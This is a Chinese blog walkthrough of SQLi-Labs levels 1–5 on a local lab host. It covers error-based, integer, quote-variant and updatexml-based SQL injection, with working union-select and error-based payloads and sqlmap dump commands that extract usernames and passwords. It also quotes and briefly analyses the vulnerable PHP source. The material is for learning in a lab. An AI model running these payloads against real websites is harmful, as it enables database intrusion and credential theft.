2024-04-02
Web安全
00
请注意,本文编写于 93 天前,最后修改于 93 天前,其中某些信息可能已经过时。

目录

第一关 基于错误的 GET 单引号字符型注入
存在注入点判断
判断字段数(使用 order by)
执行注入 Payload
sqlmap
第二关 基于错误的 GET 整型注入
存在注入点判断
判断字段数
执行注入 Payload
第三关 基于错误的 GET 单引号变形注入
存在注入点判断
直接上 Payload 将数据库拖出
第四关 基于错误的 GET 双引号字符型注入
存在注入点判断
直接上 Payload 将数据库拖出
sqlmap
源码分析
第五关 基于 GET 单引号双注入
存在注入点判断
报错注入方式
updatexml(XMLdocument, XPathstring, new_valye);
EXTRACTVALUE (XMLdocument, XPathstring);
执行注入 Payload

第一关 基于错误的 GET 单引号字符型注入

image.png

存在注入点判断

  1. 加上单引号报错
http://192.168.220.130/sqli/Less-1/?id=1'
  1. 加上注释符页面正常
http://192.168.220.130/sqli/Less-1/?id=1' %23
  • 注释方法:
  1. # 号注释
  2. %23 注释
  3. --+ 注释

判断字段数(使用 order by)

http://192.168.220.130/sqli/Less-1/?id=1' order by 3 %23 # 页面正常 http://192.168.220.130/sqli/Less-1/?id=1' order by 4 %23 # 页面显示错误

说明字段数为 3

执行注入 Payload

判断显示的信息点,通过 id=-1 来执行联合查询

http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,3 %23

常用查询信息

  1. databases() 在使用的数据库
  2. user() 用户信息
  3. version() 数据库版本信息
  4. @@basedir 数据库安装路径
  5. @@version_compile_os 操作系统版本

查看数据库信息:

group_concat

将查询到的多行结果连接成字符串,其中 separator 可指定连接符

  1. 查看表名
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  1. 查看列名
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
  1. 查看字段
http://192.168.220.130/sqli/Less-1/?id=-1' union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+

image.png

sqlmap

sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库 sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库 sqlmap -u “注入地址” -v 1 –-users # 列数据库用户 sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名 sqlmap -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名 sqlmap -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据

示例:

sqlmap -u "http://192.168.220.130/sqli/Less-1/?id=1" -v 1 -T 'users' -D 'security' -C id,username,password --dump

image.png

第二关 基于错误的 GET 整型注入

存在注入点判断

  1. 加上单引号报错
http://192.168.220.130/sqli/Less-2/?id=1' --+
  1. 加上 and 1=1 页面正常
http://192.168.220.130/sqli/Less-2/?id=1 and 1=1 --+
  1. 加上 and 1=2 页面不正常
http://192.168.220.130/sqli/Less-2/?id=1 and 1=2 --+

说明执行了传入的 payload,存在注入

判断字段数

http://192.168.220.130/sqli/Less-2/?id=1 order by 3 --+ # 页面正常 http://192.168.220.130/sqli/Less-2/?id=1 order by 4 --+ # 页面显示错误

执行注入 Payload

  1. 查看表名
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  1. 查看列名
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
  1. 查看字段
http://192.168.220.130/sqli/Less-2/?id=-1 union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+

image.png

第三关 基于错误的 GET 单引号变形注入

image.png

存在注入点判断

  1. 加上单引号报错,发现存在
http://192.168.220.130/sqli/Less-3/?id=1'
  1. 尝试 )
http://192.168.220.130/sqli/Less-3/?id=1') and 1=1 --+ # 正常 http://192.168.220.130/sqli/Less-3/?id=1') and 1=2 --+ # 不正常

直接上 Payload 将数据库拖出

http://192.168.220.130/sqli/Less-3/?id=-1') union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+

image.png

第四关 基于错误的 GET 双引号字符型注入

image.png

存在注入点判断

加上双引号报错,发现存在 "

http://192.168.220.130/sqli/Less-4/?id=1"
http://192.168.220.130/sqli/Less-4/?id=1") and 1=1 --+ # 页面正常 http://192.168.220.130/sqli/Less-4/?id=1") and 1=2 --+ # 页面不正常

直接上 Payload 将数据库拖出

http://192.168.220.130/sqli/Less-4/?id=-1") union select 1,group_concat(username separator '-'),group_concat(password separator '-') from users --+

image.png

sqlmap

1-4 关都可以使用该命令

sqlmap -u "http://192.168.220.130/sqli/Less-4/?id=1" -v 1 -T 'users' -D 'security' -C id,username,password --dump

image.png

源码分析

php
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>

由源码看出对 GET 传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行

第五关 基于 GET 单引号双注入

image.png

存在注入点判断

  1. 输入单引号测试,有报错信息,返回信息和第一关错误信息一样
  2. 不管输入 id 为多少,页面一直都是 you are in ... 猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了
php
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; } } else { echo "Please input the ID as parameter with numeric value";} ?>

但是会把错误的信息打印出来,故应该使用到双注入(也称报错注入),在错误中把要的信息打印出来

报错注入方式

updatexml() : 函数是 MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数。

extractvalue() : 函数也是 MySQL 对 XML 文档数据进行查询的 XPATH 函数。

floor() : MySQL中用来取整的函数。

其实可完成报错注入的 MySQL 函数有很多,大概有10几个,这里就不一一说了。

updatexml(XML_document, XPath_string, new_valye);

它是一个内容替换函数,主要针对的 xml 数据:

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc

第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程,和正则似的、也是做匹配用的,语法和正则不同而已

第三个参数:new_value,String格式,替换查找到的符合条件的数据

例如:

数据版本为5.5.53,那么 concat 连接之后,得到的结果为 ~5.5.53~``updatexml(1,~5.5.53~,1),其中 5.5.53 并不符合 xpath 的语法格式,所以会报错

EXTRACTVALUE (XML_document, XPath_string);

从目标XML中返回包含所查询值的字符串。

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

第二个参数:XPath_string (Xpath 格式的字符串)

concat : 返回结果为连接参数产生的字符串。

例如:SELECT ExtractValue('<a><b>hello</b></a>', '/a/b');

就是寻找前一段 xml 文档内容中的 a 节点下的 b 节点,这里如果 Xpath 格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

执行注入 Payload

  1. 查看表名
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1) --+
  1. 查看列名
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+
  1. 查看字段
http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(username),1) from users ),0x7e),1) --+ http://192.168.220.130/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(password),1) from users ),0x7e),1) --+
如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:@Rrx

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!